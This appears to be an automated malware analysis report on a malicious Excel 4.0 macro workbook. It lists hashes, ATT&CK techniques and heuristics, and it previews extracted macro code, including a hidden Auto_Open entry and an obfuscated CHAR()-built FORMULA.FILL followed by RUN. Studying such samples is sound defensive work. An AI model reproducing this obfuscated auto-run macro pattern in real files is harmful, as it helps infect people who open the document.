Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cb55c5de9f8b8ce…

MALICIOUS

Office (OLE)

174.0 KB Created: 2020-05-13 10:31:50 Authoring application: Microsoft Excel First seen: 2020-05-25
MD5: 483f5598b44e87a8116dc31595cca654 SHA-1: db5054e4c942f64d5e3e3c2ed9e14670c66e24a4 SHA-256: 3cb55c5de9f8b8ce5e618402158fde0ea132266a646706dfc2974038f9b5bab8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Critical heuristics indicate the presence of an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The macro uses dangerous functions such as RUN, suggesting it is designed to execute arbitrary commands or download further payloads.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 125563 bytes
SHA-256: 1a9c26e035f2906ecac15dc48f23369e552e23ded89bff194b83dc8cfbaa35d0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GQ6926 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,CP8,"",-456.00000000000000000000
'  Sheet,JR41,"",0.57024793388429750873
'  Sheet,FA64,"",0.81593406593406592187
'  Sheet,HJ160,"",-118.00000000000000000000
'  Sheet,CX221,"",-44.00000000000000000000
'  Sheet,DQ237,"",-0.29801324503311260594
'  Sheet,IG247,"",236.00000000000000000000
'  Sheet,M326,"",-0.54304635761589403753
'  Sheet,CZ354,"",287.00000000000000000000
'  Sheet,CG368,"",0.92682926829268297286
'  Sheet,IW556,"",-2.22058823529411775155
'  Sheet,D623,"",-4.03516483516483592808
'  Sheet,HR669,"",-0.19172932330827066605
'  Sheet,CP681,"",150.00000000000000000000
'  Sheet,GS681,"",0.53872053872053871082
'  Sheet,BD715,"",-10.43137254901960808695
'  Sheet,EB738,"",-104.80007812499999886313
'  Sheet,EP806,"",-0.10972568578553615337
'  Sheet,FJ881,"",-434.20000000000004547474
'  Sheet,HX918,"",-67.00000000000000000000
'  Sheet,CX927,"",4.15189873417721511117
'  Sheet,HO933,"",16.75000000000000000000
'  Sheet,ER957,"",0.46280991735537191367
'  Sheet,FJ1041,"",-227.00000000000000000000
'  Sheet,FQ1088,"",3.00000000000000000000
'  Sheet,FA1107,"",263.00000000000000000000
'  Sheet,EJ1296,"",-0.30463576158940397498
'  Sheet,FV1316,"",4.89552238805970141300
'  Sheet,EI1317,"",477.00000000000000000000
'  Sheet,EE1349,"",-4.00000000000000000000
'  Sheet,EB1355,"",-6.73417721518987377749
'  Sheet,HH1370,"",2.18823529411764727826
'  Sheet,GB1397,"",426.00000000000000000000
'  Sheet,IU1426,"",-0.18246187363834420747
'  Sheet,T1428,"",-0.75496688741721851290
'  Sheet,IT1440,"",-0.10972568578553615337
'  Sheet,GP1509,"",-237.00000000000000000000
'  Sheet,M1550,"",-246.00000000000000000000
'  Sheet,EP1596,"",-0.70175438596491224175
'  Sheet,DF1677,"",-603.00000000000000000000
'  Sheet,EN1703,"",434.20000000000004547474
'  Sheet,M1705,GOTO(T56884),""
'  Sheet,IT1713,"",7.31818181818181834331
'  Sheet,DR1720,"",146.80000000000001136868
'  Sheet,BA1770,"",451.00000000000000000000
'  Sheet,CB1797,"",0.43181818181818182323
'  Sheet,EE1805,"",-0.96491228070175438791
'  Sheet,HL1847,"",0.60714285714285709528
'  Sheet,IV1883,"",-237.00000000000000000000
'  Sheet,ES1934,"",-3.49714285714285777473
'  Sheet,EK1944,"",72.00000000000000000000
'  Sheet,GV1992,"",-0.17705735660847879420
'  Sheet,BT2007,"",279.00000000000000000000
'  Sheet,HZ2038,"",29.00000000000000000000
'  Sheet,IK2047,"",-131.00000000000000000000
'  Sheet,HZ2068,"",545.00000000000000000000
'  Sheet,BT2142,"",-3.35555555555555562464
'  Sheet,HZ2182,"",282.00000000000000000000
'  Sheet,EB2213,"",-0.30313588850174216782
'  Sheet,CL2223,"",1.75373134328358215583
'  Sheet,HI2234,"",-231.00000000000000000000
'  Sheet,IJ2276,"",5.79104477611940282600
'  Sheet,BS2349,"",0.43678160919540232054
'  Sheet,BJ2368,"",-220.00000000000000000000
'  Sheet,JU2381,"FORMULA.FILL(CHAR(HR14913-GS31462)&CHAR(G11840/FH61662)&CHAR(BU52716*IP51195)&CHAR(HJ12024+EG51161)&CHAR(G11840/Z57768)&CHAR(G11840*CO35397)&CHAR(HJ12024*BF17219)&CHAR(BU52716*JK39050)&CHAR(HP4583/BJ54308)&CHAR(HR14913*FZ42236)&CHAR(G11840*U16390)&CHAR(BB58130-BZ33380)&CHAR(G11840/DZ6340)&CHAR(HC21092/EP47094)&CHAR(HC21092/HM3809)&CHAR(HP4583*JN33413)&CHAR(HP4583*DV7033)&CHAR(BO21497*FB64860)&CHAR(HR14913+IR58567)&CHAR(BU52716+BC27009)&CHAR(DT43776+BI4902)&CHAR(FR41539*FF16708)&CHAR(G11840+DQ17126)&CHAR(HC21092*EJ1296)&CHAR(HC21092*FI44880)&CHAR(HR14913*FH56251)&CHAR(BB58130*DD61376)&CHAR(BB58130*FG43637)&CHAR(FR41539/CO18789),DV21578)",""
'  Sheet,JU2382,RUN(HI45970),""
'  Sheet,CU2400,"",-0.72847782119205295448
'  Sheet,EC2400,"",-2.18840579710144922387
'  Sheet,Z2403,"",-0.13345864661654135985
'  Sheet,BE2430,"",-0.21695760598503741057
'  She
... (truncated)